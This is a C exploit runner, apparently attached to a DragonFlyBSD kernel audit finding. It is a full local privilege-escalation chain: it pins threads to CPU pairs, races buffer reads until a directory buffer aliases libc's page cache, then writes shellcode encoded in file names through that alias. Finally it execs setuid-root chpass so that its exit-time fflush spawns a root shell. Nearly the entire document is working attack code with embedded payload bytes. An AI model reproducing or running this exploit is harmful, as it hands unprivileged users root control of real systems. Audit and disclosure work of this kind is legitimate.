⬢ DragonFlyBSD Kernel Audit
DF-2675 / chain15.c
← back to finding ↓ download raw
/* DF-2675 chain v15 runner: libc 0x100000 window, fflush landing (chpass).
 *
 * Groom: per attempt k over 6 (vcpu,ocpu) pairings:
 *   [ocpu] getdents(D_k)  -> O_k = fresh 17-page dir buffer (baseline 1984)
 *   [vcpu] flip-read libc @0x100000 (65536 <-> 2048 alternating) -> V's
 *          allocbuf re-qenter lands AFTER O_k; when O_k == V-1 the aliased
 *          KVA maps V's page-0 (the libc window)
 *   [ocpu] getdents(D_k)  -> oracle: entry count != 1984
 * On hit: create the 3 payload files in D_k (dirent records write through
 * the alias into the libc window page), then exec /usr/bin/chpass: its stdio
 * fflush at exit lands on the stub -> execve("/bin/sh",{S,0},NULL) euid=0.
 */
#include <sys/types.h>
#include <sys/usched.h>
#include <dirent.h>
#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define VICTIM "/lib/libc.so.8"
#define WINOFF 0x100000
#define NDIRS 396
#define BASELINE 1984

static const unsigned char NAME1[] = {130,116,130,169,171,150,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,140,145,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,138,244,152,253,137,85,130,103,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,130,116,163,209};
static const unsigned char NAME2[] = {80,80,80,80,80,80,80,80,80,80,80};
static const unsigned char NAME3[] = {80,80,80,80,80,80,80,80,130,169,131,70,80,80,80,135,244,131,185,131,189,131,185,130,103,80,80,80,80,80,80,80};

static int pin(int cpu)
{
	return usched_set(0, USCHED_SET_CPU, &cpu, sizeof(cpu));
}

static int vfd = -1;
static int vflip = 0;

static int flip_victim(void)
{
	static char big[65536], small[2048];
	size_t len;
	if (vfd < 0) {
		vfd = open(VICTIM, O_RDONLY);
		if (vfd < 0) return -1;
	}
	len = vflip ? 2048 : 65536;
	vflip ^= 1;
	return (int)pread(vfd, vflip ? big : small, len, WINOFF);
}

static int count_dirents_fd(int fd)
{
	char buf[32768];
	struct dirent *db;
	int n = 0, r;
	if (lseek(fd, 0, SEEK_SET) < 0) return -1;
	while ((r = getdents(fd, buf, sizeof(buf))) > 0) {
		for (db = (struct dirent *)buf; (char *)db < buf + r;
		     db = _DIRENT_NEXT(db))
			n++;
	}
	return n;
}

static int mkfile(int dfd, const unsigned char *name, size_t len,
                  unsigned int size, int dowrite)
{
	char fname[600], path[1024];
	int fd;
	memcpy(fname, name, len);
	fname[len] = 0;
	fd = openat(dfd, fname, O_CREAT | O_EXCL | O_WRONLY, 0644);
	if (fd < 0) { warn("openat create"); return -1; }
	if (dowrite) {
		if (write(fd, "A", 1) != 1) { warn("write1"); close(fd); return -1; }
		if (pwrite(fd, "A", 1, (off_t)size - 1) != 1) { warn("pwrite"); close(fd); return -1; }
		fsync(fd);
	}
	close(fd);
	return 0;
}

int main(int argc, char **argv)
{
	int vcpu0 = argc > 1 ? atoi(argv[1]) : 0;
	int k, n, pair, vcpu, ocpu, hitk = -1, hitfd = -1;
	int fds[NDIRS];
	char dir[256];

	setvbuf(stdout, NULL, _IOLBF, 0);
	printf("[*] DF-2675 chain v15: V=%s+%#x (libc window, fflush landing)\n",
	       VICTIM, WINOFF);

	/* prime V on vcpu0 (65536 read -> np=16 cluster buffer) */
	if (pin(vcpu0) < 0) err(1, "pin v0");
	vflip = 1;              /* next flip reads 65536 */
	if (flip_victim() < 0) err(1, "victim prime");
	printf("[*] V primed\n");

	/* prefetch dir fds (root buffer cached once) */
	for (k = 0; k < NDIRS; k++) {
		snprintf(dir, sizeof(dir), "/mnt/D%03d", k);
		fds[k] = open(dir, O_RDONLY);
		if (fds[k] < 0) err(1, "open %s", dir);
	}
	printf("[*] %d dir fds prefetched\n", NDIRS);

	for (pair = 0; pair < 6 && hitk < 0; pair++) {
		int vcpu = (vcpu0 + pair) % 6;
		int ocpu = (vcpu + 5) % 6;
		printf("[*] pairing %d: vcpu=%d ocpu=%d\n", pair, vcpu, ocpu);
		for (k = pair * (NDIRS / 6); k < (pair + 1) * (NDIRS / 6); k++) {
			if (pin(ocpu) < 0) err(1, "pin o");
			n = count_dirents_fd(fds[k]);
			if (n != BASELINE) {
				printf("[!] D%03d baseline=%d -- skip\n", k, n);
				continue;
			}
			if (pin(vcpu) < 0) err(1, "pin v");
			if (flip_victim() < 0) err(1, "flip");
			if (pin(ocpu) < 0) err(1, "pin o2");
			n = count_dirents_fd(fds[k]);
			if (n == BASELINE)
				continue;
			printf("[+] ALIAS at D%03d: readdir = %d entries (baseline %d)\n",
			       k, n, BASELINE);
			hitk = k; hitfd = fds[k];
			break;
		}
	}
	if (hitk < 0)
		errx(2, "no alias in %d dirs", NDIRS);

	printf("[*] writing payload into D%03d...\n", hitk);
	if (mkfile(hitfd, NAME1, sizeof(NAME1), 0, 0) < 0) return 3;
	printf("[*] file1 done (g1: records 37..47)\n");
	if (mkfile(hitfd, NAME2, sizeof(NAME2), 0x403C, 1) < 0) return 3;
	printf("[*] file2 done (mov edi,0x403c18; cluster 0x18BF size 0x403C)\n");
	if (mkfile(hitfd, NAME3, sizeof(NAME3), 0x050F, 1) < 0) return 3;
	printf("[*] file3 done (54 5E / 0F 05; cluster 0x5E54 size 0x050F)\n");

	printf("[*] trigger: exec /usr/bin/chpass (setuid-root; fflush at exit)\n");
	fflush(stdout);
	{
		char *av[] = {"/usr/bin/chpass", NULL};
		execve("/usr/bin/chpass", av, NULL);
	}
	err(1, "execve chpass");
	return 0;
}